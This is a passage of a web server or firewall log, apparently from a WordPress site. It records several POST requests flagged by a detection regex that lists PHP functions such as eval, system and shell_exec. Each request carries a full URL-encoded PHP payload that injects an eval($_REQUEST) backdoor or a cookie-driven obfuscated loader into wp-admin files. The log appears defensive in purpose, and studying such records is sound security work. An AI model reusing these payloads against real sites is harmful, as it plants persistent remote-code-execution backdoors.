0%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:52:42","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\ncontent-length:2052\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:52:49","190.92.169.79","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLaDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4256\n\nbt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:52:56","152.53.138.6","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH1HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4256\n\nSU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:53:41","118.139.167.171","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugins.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B28-28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-6%252B7%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-24%252B27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520function%2520reverse_lookup%2528%2524res%2529%2520%257B%2520%2524bind%2520%253D%2520%2524_COOKIE%253B%2520%2524rec%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b02c1d18%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524rec%2529%2529%2520%257B%2520%2524rec%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522right_pad_string%2522%253B%2520%257D%2520%2524dat%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524bind%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524rec%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524rec%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524dat%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524rec%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524rec%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522reverse_lookup%2522%2529%253B%2520%2524sym%2520%253D%2520%252230db3f1a4448e6b6c205f2796e50781d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524sym%252C%2520%2524bind%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522core_engine_task_processor%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4256\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) 